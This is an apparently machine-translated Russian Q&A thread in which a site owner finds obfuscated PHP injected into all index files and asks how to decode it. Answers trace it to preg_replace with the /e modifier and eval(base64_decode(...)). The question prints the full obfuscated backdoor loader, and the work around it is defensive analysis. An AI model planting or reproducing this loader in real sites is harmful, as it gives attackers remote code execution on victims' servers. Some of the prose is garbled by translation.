Я просто заметил, что весь мой индексный файл имеет следующий код на моем сервере. Я хотел бы знать, как я могу декодировать это. и узнаете, кто стоит за этим кодом? пожалуйста, вы можете помочь мне, как это расшифровать.
<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "+aWYgKCFpc";$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";$eva1tYldakBoVS1r = "\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160";$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145";$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>
Правильно отступьте код (я использовал http://beta.phpformatter.com/ )
Ищите вызовы функций ( func()
или $func()
).
Строка 14: ` $ eva1tYldokBcVSjr (…, $ eva1tYldakBcVSir (…));
Прокомментируйте вызов функции и echo $eva1tYldokBcVSjr
(и $eva1tYldakBcVSir
), чтобы посмотреть, что он делает.
echo $eva1tYldokBcVSjr;
=>'preg_replace'
echo $eva1tYldakBcVSir;
=>'strrev'
echo
out параметры, переданные в $eva1tYldokBcVSjr()
( preg_replace()
).
$eva1tYidokBcVSjr[0.016 * (7812.5 * 0.016)]
=>"@(.+)@ie"
$eva1tYidokBcVSjr[62.5 * 0.016]
=>"eval("\1");"
strrev($eva1tYidokBcVSjr[0.061 * 0.031])
=>"@eval(base64_decode($eva1tYidakBcVSjr[1]));"
Итак, строка 14 декодирует (в PHP-регулярном выражении все может быть разделителем):
preg_replace("/(.+)/ie", 'eval("\1");', eval(base64_decode($eva1tYidakBcVSjr[1])));
Строка, которая является base64_decoded
декодирует, чтобы закодировать с кучей eval
s в ней.
Замените все эти eval
с echo
, чтобы узнать, что происходит. Есть еще больше eval(base64_decode(
s.
Изменение этих eval
для echo
дает вам следующее:
Я вижу там setcookie
…
EDIT : Вот сообщение, где кто-то продолжал расшифровывать это:
http://www.thehosthelpers.com/technical-help/help-de-obfsucating-code/msg17585#msg17585
Код не работает по принципу «один-к-одному». Вы можете написать любое количество разных кодов на одном и том же конце. Из-за этого, de-obfuscating код очень сложно. Вы можете попробовать использовать некоторые расшифровки расширений, как этот , но я не буду надеяться на получение четкого кода обратно. Кроме того, если хакер умный, он будет использовать ряд переадресаций и других мер, чтобы убедиться, что вы не можете отслеживать его, даже если вы де-зафузировали код.
Я сразу нашел такие страницы в Google:
http://blog.sucuri.net/2011/10/evil-backdoors-part-ii.html
И здесь уже задают вопрос:
PHP Script в моих файлах WordPress. Пожалуйста, уменьшите или помогите мне Удалить
Игнорировать первую длинную переменную ($ eva1fYlbakBcVSir). Вы можете пройти и повторить другие вары, которые написаны с использованием escape-последовательностей, а затем вы можете расшифровать остальную часть кода.